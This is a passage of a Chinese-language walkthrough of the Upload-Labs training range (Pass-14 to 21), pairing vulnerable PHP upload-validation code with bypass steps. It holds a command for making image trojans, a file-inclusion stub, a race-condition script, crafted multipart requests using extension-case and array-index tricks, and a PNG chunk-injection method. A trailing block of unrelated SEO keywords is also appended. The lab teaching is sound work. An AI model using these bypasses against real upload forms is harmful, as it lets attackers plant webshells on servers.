  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

分析:
1.本题需要上传图片木马,即在图片文件末尾以明文形式加入恶意代码,因为本题只检查开头2个字节(文件头)。
2.本题需要自建文件包含漏洞环境,代码如下:

<?php    include($_GET['page']);?>
  • 1
  • 2
  • 3

3.本题只检查文件头信息是否符合图片文件的文件头,所以不能使用改后缀名之类的方法。由于PHP文件可以包含纯文本内容,包括以纯文本形式打开图片出现的乱码的特性,可以使用include()函数包含图片,如果图片中有PHP代码,include()函数会进行解析。

HTTP EXP:
1.使用如下命令制作图片木马:

copy image.jpg/b+shell.php/a shell.php
  • 1

2.正常上传图片木马,由于本题只检查开头2个字节,可以绕过。
3.访问include.php,将参数设置为图片木马的URL。
4.上传.png .gif文件以此类推。

Pass-15

任务:上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
4.PHP版本>5.3。
5.必须在php.ini中开启allow_url_fopen选项。
提示:本pass使用getimagesize()检查是否为图片文件!
源代码:

function isImage($filename){    $types = '.jpeg|.png|.gif';    if(file_exists($filename)){        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext)>=0){            return $ext;        }else{            return false;        }    }else{        return false;    }}$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $temp_file = $_FILES['upload_file']['tmp_name'];    $res = isImage($temp_file);    if(!$res){        $msg = "文件未知,上传失败!";    }else{        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传出错!";        }    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

分析:getimagesize()函数的作用是获取图片文件的相关信息(详见附录)。本题中如果文件类型是图片(大于零),则上传成功。我们可以按照Pass-14的方法制作图片木马(可以被解析为图片)进行绕过。
HTTP EXP:参照Pass-14进行绕过即可(必须自建文件包含漏洞环境)。

Pass-16

任务:上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
4.PHP版本>5.3。
5.必须在php.ini中开启allow_url_fopen选项。
6.必须开启php_exif模块。
提示:本pass使用exif_imagetype()检查是否为图片文件!
源代码:

function isImage($filename){    //需要开启php_exif模块    $image_type = exif_imagetype($filename);    switch ($image_type) {        case IMAGETYPE_GIF:            return "gif";            break;        case IMAGETYPE_JPEG:            return "jpg";            break;        case IMAGETYPE_PNG:            return "png";            break;            default:            return false;            break;    }}$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $temp_file = $_FILES['upload_file']['tmp_name'];    $res = isImage($temp_file);    if(!$res){        $msg = "文件未知,上传失败!";    }else{        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;        if(move_uploaded_file($temp_file,$img_path)){            $is_upload = true;        } else {            $msg = "上传出错!";        }    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

分析:不管用什么PHP函数检测图片,只要图片木马能在本地用照片浏览器正常地打开,就能用文件解析漏洞绕过。除非对方买了的安全产品或者请了非常牛的巨佬
HTTP EXP:直接用上题方法绕过即可。

Pass-17

任务:上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
4.PHP版本>5.3。
5.必须在php.ini中开启allow_url_fopen选项。
6.必须开启php_exif模块。
提示:本pass重新渲染了图片!
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])){    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径    $filename = $_FILES['upload_file']['name'];    $filetype = $_FILES['upload_file']['type'];    $tmpname = $_FILES['upload_file']['tmp_name'];    $target_path=UPLOAD_PATH.'/'.basename($filename);    // 获得上传文件的扩展名    $fileext= substr(strrchr($filename,"."),1);    //判断文件后缀与类型,合法才进行上传操作    if(($fileext == "jpg") && ($filetype=="image/jpeg")){        if(move_uploaded_file($tmpname,$target_path)){            //使用上传的图片生成新的图片            $im = imagecreatefromjpeg($target_path);            if($im == false){                $msg = "该文件不是jpg格式的图片!";                @unlink($target_path);            }else{                //给新图片指定文件名                srand(time());                $newfilename = strval(rand()).".jpg";                //显示二次渲染后的图片(使用用户上传图片生成的新图片)                $img_path = UPLOAD_PATH.'/'.$newfilename;                imagejpeg($im,$img_path);                @unlink($target_path);                $is_upload = true;            }        } else {            $msg = "上传出错!";        }    }else if(($fileext == "png") && ($filetype=="image/png")){        if(move_uploaded_file($tmpname,$target_path)){            //使用上传的图片生成新的图片            $im = imagecreatefrompng($target_path);            if($im == false){                $msg = "该文件不是png格式的图片!";                @unlink($target_path);            }else{                 //给新图片指定文件名                srand(time());                $newfilename = strval(rand()).".png";                //显示二次渲染后的图片(使用用户上传图片生成的新图片)                $img_path = UPLOAD_PATH.'/'.$newfilename;                imagepng($im,$img_path);                @unlink($target_path);                $is_upload = true;                           }        } else {            $msg = "上传出错!";        }    }else if(($fileext == "gif") && ($filetype=="image/gif")){        if(move_uploaded_file($tmpname,$target_path)){            //使用上传的图片生成新的图片            $im = imagecreatefromgif($target_path);            if($im == false){                $msg = "该文件不是gif格式的图片!";                @unlink($target_path);            }else{                //给新图片指定文件名                srand(time());                $newfilename = strval(rand()).".gif";                //显示二次渲染后的图片(使用用户上传图片生成的新图片)                $img_path = UPLOAD_PATH.'/'.$newfilename;                imagegif($im,$img_path);                @unlink($target_path);                $is_upload = true;            }        } else {            $msg = "上传出错!";        }    }else{        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85

分析:本Pass对上传后的图片文件进行了二次渲染即根据原有的图片生成新的标准化的图片),此时在文件末尾添加的PHP一句话木马将会被清除。本文分类讨论该Pass。

GIF图片绕过

GIF图片绕过二次渲染较为简单。我们仅需要使用二进制工具比对上传前的图片(木马)和上传后(被渲染)的图片哪些地方没有改变即可。

  1. 正常上传图片木马。(使用copy命令制作的
  2. 下载被渲染后的图片。
  3. 使用Fairdell HexCmp进行比对。红色部分为不同内容,白色部分为相同内容。在白色靠下部分插入PHP一句话,上传。
    4.成功

PNG图片绕过

PNG图片绕过比GIF图片绕过复杂。请先阅读附录中关于PNG图片格式的介绍。
(注:此方法仅对索引颜色图片有效,)

  1. 使用WinHex打开图片,查找十六进制值504C5445(PLTE块起始位)
  2. 在PLTE起始位插入PHP一句话,保存图片。
  3. 使用附录中的CRC计算脚本计算CRC值。
  4. 修改CRC,上传。

Pass-18

任务:上传一个webshell到服务器。
提示:需要代码审计!
源代码:

$is_upload = false;$msg = null;if(isset($_POST['submit'])){    $ext_arr = array('jpg','png','gif');    $file_name = $_FILES['upload_file']['name'];    $temp_file = $_FILES['upload_file']['tmp_name'];    $file_ext = substr($file_name,strrpos($file_name,".")+1);    $upload_file = UPLOAD_PATH . '/' . $file_name;    if(move_uploaded_file($temp_file, $upload_file)){        if(in_array($file_ext,$ext_arr)){             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;             rename($upload_file, $img_path);             $is_upload = true;        }else{            $msg = "只允许上传.jpg|.png|.gif类型文件!";            unlink($upload_file);        }    }else{        $msg = '上传出错!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

分析:本Pass先创建了一个只包含图片文件的白名单,随后提取出文件的后缀名,将文件移动至上传目录后再判断是否合法,不合法就删除。我们可以使用条件竞争方法(即在文件被删除之前访问该文件)绕过。此方法需要不停且迅速地上传、访问文件。我们使用BurpSuite和Python进行上传和访问。(其实也可以不停地点刷新,只要你手速够快
HTTP EXP:
1.Python脚本如下:

import requestsurl="http://127.0.0.1/upload-labs/upload/shell.php"while True:	web_result=requests.get(url)	if web_result.status_code == 200:		print("Success")		break	else:		print("Failed")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

2.shell.php代码如下:

<?php 	$file=fopen("phpinfo.php","w");	fputs($f,'<?php phpinfo(); ?>');?>
  • 1
  • 2
  • 3
  • 4

3.上传后使用BurpSuite截包,按Ctrl+I发送至Intruder,设置Payload type为Null payloads,Payload Options设置为Continue indefinitely,不断上传该文件,随后运行脚本不断访问该文件。
4.看到Success即上传成功,访问phpinfo.php即可。

Pass-19

任务:上传一个webshell到服务器。
提示:需要代码审计!
注:必须使用文件包含漏洞配合图片木马! 必须在php.ini中开启allow_url_include选项!
源代码:

//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){    require_once("./myupload.php");    $imgFileName =time();    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);    $status_code = $u->upload(UPLOAD_PATH);    switch ($status_code) {        case 1:            $is_upload = true;            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;            break;        case 2:            $msg = '文件已经被上传,但没有重命名。';            break;         case -1:            $msg = '这个文件不能上传到服务器的临时文件存储目录。';            break;         case -2:            $msg = '上传失败,上传目录不可写。';            break;         case -3:            $msg = '上传失败,无法上传该类型文件。';            break;         case -4:            $msg = '上传失败,上传的文件过大。';            break;         case -5:            $msg = '上传失败,服务器已经存在相同名称文件。';            break;         case -6:            $msg = '文件无法上传,文件不能复制到目标目录。';            break;              default:            $msg = '未知错误!';            break;    }}//myupload.phpclass MyUpload{..................   var $cls_arr_ext_accepted = array(      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",      ".html", ".xml", ".tiff", ".jpeg", ".png" );..................    /** upload()   **   ** Method to upload the file.   ** This is the only method to call outside the class.   ** @para String name of directory we upload to   ** @returns void  **/  function upload( $dir ){        $ret = $this->isUploadedFile();        if( $ret != 1 ){      return $this->resultUpload( $ret );    }    $ret = $this->setDir( $dir );    if( $ret != 1 ){      return $this->resultUpload( $ret );    }    $ret = $this->checkExtension();    if( $ret != 1 ){      return $this->resultUpload( $ret );    }    $ret = $this->checkSize();    if( $ret != 1 ){      return $this->resultUpload( $ret );        }        // if flag to check if the file exists is set to 1        if( $this->cls_file_exists == 1 ){            $ret = $this->checkFileExists();      if( $ret != 1 ){        return $this->resultUpload( $ret );          }    }    // if we are here, we are ready to move the file to destination    $ret = $this->move();    if( $ret != 1 ){      return $this->resultUpload( $ret );        }    // check if we need to rename the file    if( $this->cls_rename_file == 1 ){      $ret = $this->renameFile();      if( $ret != 1 ){        return $this->resultUpload( $ret );          }    }        // if we are here, everything worked as planned :)    return $this->resultUpload( "SUCCESS" );    }.................. };
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119

分析:本Pass做了白名单校验,文件上传后先保存在对象中,随后对文件进行判断存在、检查扩展名、检查大小、重命名、移动操作,没有判断文件头和二次渲染。我们可以使用图片木马配合文件包含漏洞进行绕过。(虽然进行了移动和重命名,但是网页会回显地址)
HTTP EXP:直接将shell.php改为shell.jpg,上传,随后使用文件包含漏洞访问该文件(本Pass将文件上传至根目录下)

Pass-20

任务:上传一个webshell到服务器。
提示:本pass的取文件名通过$_POST来获取。
源代码:

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {    if (file_exists(UPLOAD_PATH)) {        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");        $file_name = $_POST['save_name'];        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);        if(!in_array($file_ext,$deny_ext)) {            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' .$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                 $is_upload = true;            }else{                $msg = '上传出错!';            }        }else{            $msg = '禁止保存为该类型文件!';        }    } else {        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';    }}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

分析:本Pass只对保存名进行黑名单判断,该做的防护全部没做。所以我们进行大小写绕过,使用BurpSuite截包,直接将保存名改为shell.Php即可绕过。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------15338906251430769969231118643Content-Disposition: form-data; name="save_name"upload-19.Php
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

Pass-21

任务:上传一个webshell到服务器。
提示:Pass-21来源于CTF,请审计代码!
源代码:

$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){    //检查MIME    $allow_type = array('image/jpeg','image/png','image/gif');    if(!in_array($_FILES['upload_file']['type'],$allow_type)){        $msg = "禁止上传该类型文件!";    }else{        //检查文件名        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];        if (!is_array($file)) {            $file = explode('.', strtolower($file));        }        $ext = end($file);        $allow_suffix = array('jpg','png','gif');        if (!in_array($ext, $allow_suffix)) {            $msg = "禁止上传该后缀文件!";        }else{            $file_name = reset($file) . '.' . $file[count($file) - 1];            $temp_file = $_FILES['upload_file']['tmp_name'];            $img_path = UPLOAD_PATH . '/' .$file_name;            if (move_uploaded_file($temp_file, $img_path)) {                $msg = "文件上传成功!";                $is_upload = true;            } else {                $msg = "文件上传失败!";            }        }    }}else{    $msg = "请选择要上传的文件!";}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

分析:
本Pass做了如下校验:1.验证MIME类型(这个很好解决)2.验证文件名。
验证文件名操作如下:

  1. empty()配合三运运算符检查文件名是否为空。
  2. 如果$file不为数组则将$file打散为数组。(这步很关键)
  3. end()函数提取数组最后一个元素为后缀名。
  4. 确定白名单
  5. 将文件名设置为数组索引为零的元素与数组索引为元素总个数减一的元素合并
  6. 上传、改名、移动。

第二步使用if判断$file是否为数组,是则跳过,不是则打散为数组。所以我们可以在上传中途控制save_name参数,随意操作POST数组索引进行绕过,这样$file已经是数组,不会被重新打散。

HTTP EXP:
先将Content-type改为image/jpeg
reset()取数组索引为0的元素为文件名,所以将save_name[0]设置为“shell.php”。
save_name[1]不设置,使count()结果为2。
save_name[2]为jpg。
拼接结果为shell.php,$ext值为jpg。

---------------------------137391628912056871743305130682Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"Content-Type: image/jpeg<?php phpinfo(); ?>-----------------------------137391628912056871743305130682Content-Disposition: form-data; name="save_name[0]"shell.php-----------------------------137391628912056871743305130682Content-Disposition: form-data; name="save_name[2]"jpg
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

完成。

至此,Upload-Labs靶场通关教程完结。

附录

MIME类型

MIME:多用途互联网邮件扩展类型。用途为根据文件后缀名判断文件类型,用什么应用程序打开。常见的文件类型如下:

MIME后缀名
text/plain.txt
text/html.html
text/x-php.php
text/javascript.js
text/css.css
image/png.png
image/gif.gif
image/jpeg.jpeg
application/octet-stream二进制流
更多的MIME类型请参考或IETF官方手册

PNG图片结构

PNG图片两大数据块:关键数据块和辅助数据块
关键数据块中包含3个数据块:

名称作用
IHDR存放PNG图像基本信息
IDAT存放真正的图像数据
IEND标识图像结尾

重要的辅助数据块:PLTE(调色板信息,保存颜色索引)
每个数据块的组成:

名称字节数作用
Length4指定数据块中数据域长度
Chunk Type Code4数据块类型码
Chunk Data可变存储数据块类型码指定的数据
CRC4循环冗余检测码

CRC值计算脚本(Python):

''' Run this code with Python 2. '''import binasciiimport repng = open(r'name.png','rb')a = png.read()png.close()hexstr = binascii.b2a_hex(a)''' PLTE crc '''data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffffprint hex(crc)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

::$DATA标记

这是一种Windows操作系统处理文件时的特性,为文件流,如果文件名后有此标记,Windows将直接保存该文件。使用它的目的就是为了不处理后缀名。

PHP文件常见别名

.php .phtml .php3 .php5 .php1 .php4 .php2 .pht

PHP超级全局变量

变量名作用
$_GET存放使用GET方法(在URL中)传输的参数
$_POST存放使用POST方法(在HTTP包中)传输的参数
$_REQUEST存放使用HTML表单传输的参数
$_COOKIE存放Cookies数据
$_SESSION存放Session会话数据
$_FILES存放通过HTTP POST方法上传的文件

常见PHP函数参考手册

1. isset()
说明:该函数用于检测变量是否已经设置并且值是否为NULL,是返回true,否返回false。若一次传入多个变量,则当所有变量被设置且不为NULL时才返回true。
函数语法: isset( $var [, $… ] )

<?php	$a=123;	if (isset($a)) echo("Is set!"); // 变量已经设置,显示文本?>
  • 1
  • 2
  • 3
  • 4

2. file_exists()
说明:该函数用于检测文件路径是否存在,若存在返回true,否则返回false。
函数语法: file_exists($path)

<?php	$path="keqing.png";	if (file_exists($path)) echo("File exists!");?>
  • 1
  • 2
  • 3
  • 4

3. move_uploaded_file()
说明:该函数将通过HTTP POST方法上传的文件移动到指定位置,若成功返回true,否则返回false。若文件存在将会被覆盖。
函数语法: move_uploaded_file($file,$new_path)

<?php	$file=$_FILE['upload_file']['temp_name'];	$new_path="./upload/keqing.txt";	if (move_uploaded_file($file,$new_path)) echo("Upload success!");?>
  • 1
  • 2
  • 3
  • 4
  • 5

4.trim()
说明:该函数移除字符串两侧的空白字符或其他预定义字符。
函数语法: trim($str,[“charlist”])

<?php	$str="  Hello";	$str=trim($str);	echo($str);?>
  • 1
  • 2
  • 3
  • 4
  • 5

5.deldot()
说明:删除文件名末尾的点。
注:该函数为开发者自定义函数,非PHP原生函数,常出现在文件上传漏洞的防护中。

6.strtolower()
说明:将字符串中的大写字母转换为小写。
函数语法: strtolower($str)

<?php	$str="KEQING";	$str=strtolower($str);	echo($str);?>
  • 1
  • 2
  • 3
  • 4
  • 5

7.getimagesize()
说明:该函数用于获取GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的尺寸、类型、高度和宽度;失败返回False。
函数语法: getimagesize($imageName)

<?phplist($width, $height, $type, $attr)=getimagesize("keqing.jpg");echo("Width: ".$width);echo("Height: ".$height);echo("Type: ".$type);echo($attr);?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发